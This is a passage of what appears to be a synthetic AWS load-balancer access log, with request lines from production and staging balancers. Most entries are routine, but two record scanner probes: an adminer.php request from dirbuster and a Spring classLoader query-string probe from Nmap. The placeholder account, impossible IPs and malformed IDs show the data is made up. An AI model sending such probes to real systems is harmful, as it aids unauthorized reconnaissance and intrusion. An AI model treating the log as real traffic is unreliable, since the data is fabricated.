(Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c0a1-db78035c1d224cc28d86fc09" "prod-api-alb.example.com" "-" 1 2024-11-01T00:38:41.341992Z "forward" "-" "-" "10.0.108.213:443" "301" "-" "-" -https 2024-11-01T00:38:41.514030Z staging-alb 126.49.255.59:64871 250.81.154.223:8080 0.107522 0.117487 0.148220 200 200 423 3797 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c0a1-e26d9dd0bb284fb981c3da85" "staging-alb.example.com" "-" 8 2024-11-01T00:38:41.514030Z "forward" "-" "-" "250.81.154.223:8080" "200" "-" "-" -https 2024-11-01T00:38:41.621978Z prod-api-alb 50.169.253.172:38769 10.0.3.247:443 0.087286 0.292708 0.084579 301 301 519 3698 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c0a1-a30d718b4f7f4d33b4280cea" "prod-api-alb.example.com" "-" 0 2024-11-01T00:38:41.621978Z "forward" "-" "-" "10.0.3.247:443" "301" "-" "-" -https 2024-11-01T00:38:42.667698Z prod-web-alb 151.59.234.59:53202 10.0.142.234:443 0.076806 0.195221 0.013063 200 200 197 4532 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c0a2-fe1b03a959cf40e096473c96" "prod-web-alb.example.com" "-" 8 2024-11-01T00:38:42.667698Z "forward" "-" "-" "10.0.142.234:443" "200" "-" "-" -https 2024-11-01T00:38:44.388579Z prod-api-alb 35.192.16.88:51498 10.0.44.101:443 0.018450 0.097307 0.046667 200 200 667 9783 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c0a4-ef1b03ef412e4e748037c245" "prod-api-alb.example.com" "-" 5 2024-11-01T00:38:44.388579Z "forward" "-" "-" "10.0.44.101:443" "200" "-" "-" -https 2024-11-01T00:38:44.608886Z staging-alb 53.106.251.34:44189 25.122.128.210:443 0.074969 0.217282 0.142524 200 200 450 14743 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c0a4-617647b37b5d413ca6cbe0b0" "staging-alb.example.com" "-" 1 2024-11-01T00:38:44.608886Z "forward" "-" "-" "25.122.128.210:443" "200" "-" "-" -https 2024-11-01T00:38:45.962122Z prod-api-alb 4.192.233.127:33126 10.0.68.13:443 0.024021 0.089156 0.013804 301 301 985 13629 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c0a5-cbc0bb3a8f964c5cad4100ea" "prod-api-alb.example.com" "-" 6 2024-11-01T00:38:45.962122Z "forward" "-" "-" "10.0.68.13:443" "301" "-" "-" -https 2024-11-01T00:38:46.508011Z prod-api-alb 193.52.151.248:52895 10.0.187.187:443 0.056179 0.308510 0.036178 404 404 254 8563 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c0a6-954ba049b5ec481f9d233071" "-" "-" 4 2024-11-01T00:38:46.508011Z "forward" "-" "-" "10.0.187.187:443" "404" "-" "-" -https 2024-11-01T00:38:47.385096Z prod-api-alb 117.242.75.253:45839 10.0.25.172:443 0.048413 0.489868 0.000534 301 301 414 2352 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c0a7-4ad5d3ff80f94939bf1d82aa" "prod-api-alb.example.com" "-" 9 2024-11-01T00:38:47.385096Z "forward" "-" "-" "10.0.25.172:443" "301" "-" "-" -https 2024-11-01T00:38:48.540709Z staging-alb 187.254.56.21:35660 44.123.29.241:443 0.010642 0.737701 0.112649 200 200 581 989 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c0a8-52d93f2c18654b22a0c446bf" "staging-alb.example.com" "-" 5 2024-11-01T00:38:48.540709Z "forward" "-" "-" "44.123.29.241:443" "200" "-" "-" -http 2024-11-01T00:38:48.893960Z staging-alb 233.98.155.168:14799 25.143.114.179:443 0.137932 0.431683 0.034192 200 200 544 4246 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c0a8-2fa4c3bcaf8e422284a0149b" "staging-alb.example.com" "-" 2 2024-11-01T00:38:48.893960Z "forward" "-" "-" "25.143.114.179:443" "200" "-" "-" -https 2024-11-01T00:38:50.146414Z prod-web-alb 64.187.142.90:53185 10.0.138.136:443 0.062047 0.142125 0.068551 200 200 978 904 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c0aa-90fa202e1450447fa0a9c586" "prod-web-alb.example.com" "-" 1 2024-11-01T00:38:50.146414Z "forward" "-" "-" "10.0.138.136:443" "200" "-" "-" -https 2024-11-01T00:38:50.728692Z prod-api-alb 229.35.132.175:18545 10.0.22.231:443 0.086676 0.006832 0.065488 404 404 970 5556 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c0aa-e4ad1de400ea4026bca4eaaf" "prod-api-alb.example.com" "-" 0 2024-11-01T00:38:50.728692Z "forward" "-" "-" "10.0.22.231:443" "404" "-" "-" -https 2024-11-01T00:38:52.397495Z staging-alb 93.191.158.200:45379 103.88.103.48:80 0.022176 0.499936 0.114536 302 302 65 8693 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c0ac-4c580f93a76a42258856731b" "staging-alb.example.com" "-" 7 2024-11-01T00:38:52.397495Z "forward" "-" "-" "103.88.103.48:80" "302" "-" "-" -https 2024-11-01T00:38:53.127248Z prod-web-alb 239.46.190.78:35504 10.0.192.104:443 0.046821 0.493202 0.044983 301 301 826 10694 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c0ad-835cff27b05243ed902866e2" "prod-web-alb.example.com" "-" 8 2024-11-01T00:38:53.127248Z "forward" "-" "-" "10.0.192.104:443" "301" "-" "-" -https 2024-11-01T00:38:53.914233Z prod-web-alb 17.241.73.151:51491 10.0.197.105:443 0.000073 0.428019 0.050546 404 404 781 2481 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c0ad-f1c0ad873cf042199aee5947" "prod-web-alb.example.com" "-" 8 2024-11-01T00:38:53.914233Z "forward" "-" "-" "10.0.197.105:443" "404" "-" "-" -https 2024-11-01T00:38:54.959394Z prod-web-alb 35.114.97.43:52241 10.0.165.147:443 0.045761 0.169674 0.018668 404 404 997 4529 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c0ae-d2967435da604807bb31c1bf" "prod-web-alb.example.com" "-" 9 2024-11-01T00:38:54.959394Z "forward" "-" "-" "10.0.165.147:443" "404" "-" "-" -https 2024-11-01T00:38:55.088957Z prod-web-alb 11.158.82.132:60874 10.0.183.176:443 0.047366 0.412547 0.037466 302 302 677 11104 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c0af-647884eddf30423484706c5d" "prod-web-alb.example.com" "-" 9 2024-11-01T00:38:55.088957Z "forward" "-" "-" "10.0.183.176:443" "302" "-" "-" -https 2024-11-01T00:38:55.882710Z prod-api-alb 133.26.32.103:21927 10.0.18.84:443 0.030121 0.214584 0.060355 301 301 698 12551 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c0af-ff70174985d44e3ab074936f" "prod-api-alb.example.com" "-" 9 2024-11-01T00:38:55.882710Z "forward" "-" "-" "10.0.18.84:443" "301" "-" "-" -http 2024-11-01T00:38:57.152240Z staging-alb 64.85.42.165:35673 105.250.164.25:80 0.105823 0.456196 0.041403 200 200 987 13736 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c0b1-1c94132584cf4243828a163c" "staging-alb.example.com" "-" 1 2024-11-01T00:38:57.152240Z "forward" "-" "-" "105.250.164.25:80" "200" "-" "-" -https 2024-11-01T00:38:59.097894Z prod-web-alb 196.184.43.166:55059 10.0.241.130:443 0.091848 0.010270 0.051127 200 200 452 5625 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c0b3-2f4f265067cf4908949630b1" "prod-web-alb.example.com" "-" 10 2024-11-01T00:38:59.097894Z "forward" "-" "-" "10.0.241.130:443" "200" "-" "-" -https 2024-11-01T00:38:59.343130Z staging-alb 201.195.136.230:35472 215.57.140.231:8080 0.007672 0.022035 0.000337 200 200 328 12714 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c0b3-8b73e944d2f04b22814142cc" "staging-alb.example.com" "-" 5 2024-11-01T00:38:59.343130Z "forward" "-" "-" "215.57.140.231:8080" "200" "-" "-" -http 2024-11-01T00:39:01.112378Z staging-alb 133.26.29.248:23533 29.115.106.161:8080 0.065952 0.681344 0.104353 200 200 325 13596 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c0b5-cfa73ed3e0114d2d8abe1ac6" "staging-alb.example.com" "-" 10 2024-11-01T00:39:01.112378Z "forward" "-" "-" "29.115.106.161:8080" "200" "-" "-" -https 2024-11-01T00:39:02.932753Z staging-alb 46.91.113.203:30725 146.76.57.181:80 0.127902 0.251516 0.136319 301 301 433 12706 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c0b6-1092724927974ff79edc31bb" "staging-alb.example.com" "-" 9 2024-11-01T00:39:02.932753Z "forward" "-" "-" "146.76.57.181:80" "301" "-" "-" -https 2024-11-01T00:39:04.808926Z prod-web-alb 159.114.3.114:25821 10.0.195.102:443 0.081604 0.462188 0.010670 302 302 153 13921 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c0b8-4c4a978ad2a54a3dbbe4266f" "prod-web-alb.example.com" "-" 6 2024-11-01T00:39:04.808926Z "forward" "-" "-" "10.0.195.102:443" "302" "-" "-" -http 2024-11-01T00:39:05.746836Z staging-alb 7.121.162.130:53713 226.55.157.190:8080 0.078330 0.135098 0.140270 302 302 272 8031 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c0b9-aacc4d998a0b4fc0b4dcfb6b" "staging-alb.example.com" "-" 9 2024-11-01T00:39:05.746836Z "forward" "-" "-" "226.55.157.190:8080" "302" "-" "-" -http 2024-11-01T00:39:06.505133Z staging-alb 185.181.73.18:49528 222.52.146.161:443 0.148936 0.611765 0.058070 301 301 99 2629 "POST /adminer.php HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c0ba-6fe49f601e8d48f29480c627" "-" "-" 1 2024-11-01T00:39:06.505133Z "forward" "-" "-" "222.52.146.161:443" "301" "-" "-" -https 2024-11-01T00:39:08.471569Z prod-api-alb 193.27.228.250:45349 10.0.235.24:443 0.038001 0.446801 0.008554 404 404 999 3570 "PUT /path?class.module.classLoader.URLs%5B0%5D=0 HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c0bc-cc04e69b18b44b2c90d65eaf" "-" "-" 2 2024-11-01T00:39:08.471569Z "forward" "-" "-" "10.0.235.24:443" "404" "-" "-" -https 2024-11-01T00:39:08.909842Z prod-web-alb 85.55.5.11:60465 10.0.214.252:443 0.043742 0.343079 0.046076 200 200 994 5669 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c0bc-44d7a956b9744e4bb727e74d" "prod-web-alb.example.com" "-" 9 2024-11-01T00:39:08.909842Z "forward" "-" "-" "10.0.214.252:443" "200" "-" "-" -https 2024-11-01T00:39:09.820289Z prod-api-alb 79.139.125.199:54160 10.0.20.20:443 0.082060 0.216654 0.053141 200 200 165 7848 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c0bd-a7000cad741a48a1ac88600e" "prod-api-alb.example.com" "-" 2 2024-11-01T00:39:09.820289Z "forward" "-" "-" "10.0.20.20:443" "200" "-" "-" -https 2024-11-01T00:39:11.289834Z prod-web-alb 33.181.122.235:28955 10.0.232.252:443 0.080283 0.477253 0.009628 200 200 60 377 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c0bf-7b4f9e0985f545958fdcee2e" "prod-web-alb.example.com" "-" 8 2024-11-01T00:39:11.289834Z "forward" "-" "-" "10.0.232.252:443" "200" "-" "-" -https 2024-11-01T00:39:12.356980Z prod-web-alb 116.182.119.219:38665 10.0.161.177:443 0.043788 0.394017 0.006530 302 302 81 6506 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c0c0-aeb93d6b822f4fbf83756050" "prod-web-alb.example.com" "-" 7 2024-11-01T00:39:12.356980Z "forward" "-" "-" "10.0.161.177:443" "302" "-" "-" -https 2024-11-01T00:39:13.987908Z staging-alb 57.55.218.166:38016 38.84.193.111:443 0.109644 0.137909 0.093973 200 200 558 6568 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c0c1-29034cdba5e343339776014c" "staging-alb.example.com" "-" 5 2024-11-01T00:39:13.987908Z "forward" "-" "-" "38.84.193.111:443" "200" "-" "-" -https 2024-11-01T00:39:15.821301Z prod-api-alb 63.168.167.129:11051 10.0.178.255:443 0.076757 0.082101 0.037365 301 301 124 6302 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c0c3-2c5c345773da403b9a0d0e0b" "prod-api-alb.example.com" "-" 5 2024-11-01T00:39:15.821301Z "forward" "-" "-" "10.0.178.255:443" "301" "-" "-" -https 2024-11-01T00:39:16.200384Z prod-api-alb 25.188.135.159:22140 10.0.233.194:443 0.042202 0.214549 0.091087 200 200 478 794 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c0c4-ee5531425b604467a25c22d2" "prod-api-alb.example.com" "-" 2 2024-11-01T00:39:16.200384Z "forward" "-" "-" "10.0.233.194:443" "200" "-" "-" -https 2024-11-01T00:39:17.465078Z prod-web-alb 0.171.125.243:56515 10.0.205.33:443 0.099327 0.261874 0.042992 200 200 136 1584 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c0c5-ca983be2b37d455380209419" "-" "-" 7 2024-11-01T00:39:17.465078Z "forward" "-" "-" "10.0.205.33:443" "200" "-" "-" -https 2024-11-01T00:39:18.285001Z prod-web-alb 106.99.9.48:51729 10.0.186.191:443 0.054921 0.020074 0.010420 302 302 889 13249 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c0c6-dadb66a7857a4477887863fb" "-" "-" 6 2024-11-01T00:39:18.285001Z "forward" "-" "-" "10.0.186.191:443" "302" "-" "-" -https 2024-11-01T00:39:18.613264Z prod-api-alb 80.75.2.195:17608 10.0.92.246:443 0.088504 0.100370 0.041093 200 200 952 12963 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c0c6-710002f4473a4114b7613aad" "prod-api-alb.example.com" "-" 8 2024-11-01T00:39:18.613264Z "forward" "-" "-" "10.0.92.246:443" "200" "-" "-" -https 2024-11-01T00:39:19.032046Z prod-api-alb 23.127.39.65:52468 10.0.20.251:443 0.082281 0.056803 0.065859 200 200 650 3858 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c0c7-2fc4c1e2803a49a0acbd9bf4" "prod-api-alb.example.com" "-" 1 2024-11-01T00:39:19.032046Z "forward" "-" "-" "10.0.20.251:443" "200" "-" "-" -http 2024-11-01T00:39:20.415053Z staging-alb 46.202.4.16:61707 12.152.79.77:443 0.081901 0.488047 0.124511 301 301 332 14957 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c0c8-eaa313f6a28b47a08fd805fd" "staging-alb.example.com" "-" 10 2024-11-01T00:39:20.415053Z "forward" "-" "-" "12.152.79.77:443" "301" "-" "-" -https 2024-11-01T00:39:22.220769Z prod-api-alb 129.45.195.29:56121 10.0.9.144:443 0.098165 0.290172 0.074189 302 302 926 4993 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c0ca-268946c8641e48e78c4cc678" "prod-api-alb.example.com" "-" 8 2024-11-01T00:39:22.220769Z "forward" "-" "-" "10.0.9.144:443" "302" "-" "-" -http 2024-11-01T00:39:22.432069Z staging-alb 219.125.255.49:29734 2.160.151.83:8080 0.078991 0.280803 0.137829 302 302 220 3425 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c0ca-fb84bcf25e7947dd8d7e7c12" "staging-alb.example.com" "-" 0 2024-11-01T00:39:22.432069Z "forward" "-" "-" "2.160.151.83:8080" "302" "-" "-" -https 2024-11-01T00:39:22.706000Z prod-web-alb 249.98.97.9:30453 10.0.181.232:443 0.070074 0.473487 0.017962 200 200 773 5950 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c0ca-1423411fae19427281c828ca" "prod-web-alb.example.com" "-" 4 2024-11-01T00:39:22.706000Z "forward" "-" "-" "10.0.181.232:443" "200" "-" "-" -https 2024-11-01T00:39:24.056870Z prod-api-alb 110.242.78.253:55613 10.0.47.160:443 0.002913 0.088886 0.023313 200 200 293 10983 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c0cc-376cd6f41f6c4164afdb5d10" "prod-api-alb.example.com" "-" 4 2024-11-01T00:39:24.056870Z "forward" "-" "-" "10.0.47.160:443" "200" "-" "-" -https 2024-11-01T00:39:25.862587Z staging-alb 38.223.6.243:19426 107.140.115.55:8080 0.073989 0.642026 0.066219 200 200 501 13157 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c0cd-5db0fc74dedf45589ad71334" "staging-alb.example.com" "-" 9 2024-11-01T00:39:25.862587Z "forward" "-" "-" "107.140.115.55:8080" "200" "-" "-" -http 2024-11-01T00:39:27.024397Z staging-alb 19.168.156.20:40265 142.223.226.216:443 0.006181 0.702356 0.020014 200 200 298 10869 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c0cf-870879d49643432081f3c949" "staging-alb.example.com" "-" 10 2024-11-01T00:39:27.024397Z "forward" "-" "-" "142.223.226.216:443" "200" "-" "-" -https 2024-11-01T00:39:28.903222Z prod-web-alb 145.239.181.66:31811 10.0.246.131:443 0.023384 0.156178 0.008227 302 302 24 3090 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c0d0-42fa9f15ba1d487fb51658d0" "prod-web-alb.example.com" "-" 2 2024-11-01T00:39:28.903222Z "forward" "-" "-" "10.0.246.131:443" "302" "-" "-" -https 2024-11-01T00:39:29.658233Z prod-web-alb 214.247.193.84:53611 10.0.98.45:443 0.065910 0.088039 0.016264 200 200 59 7923 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c0d1-70ba8431cc92444cac7f9eda" "prod-web-alb.example.com" "-" 6 2024-11-01T00:39:29.658233Z "forward" "-" "-" "10.0.98.45:443" "200" "-" "-" -http 2024-11-01T00:39:31.150472Z staging-alb 24.252.26.130:26776 233.188.82.99:80 0.072534 0.620883 0.118426 404 404 391 11278 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c0d3-2f16a6c61f434ea28d2df43f" 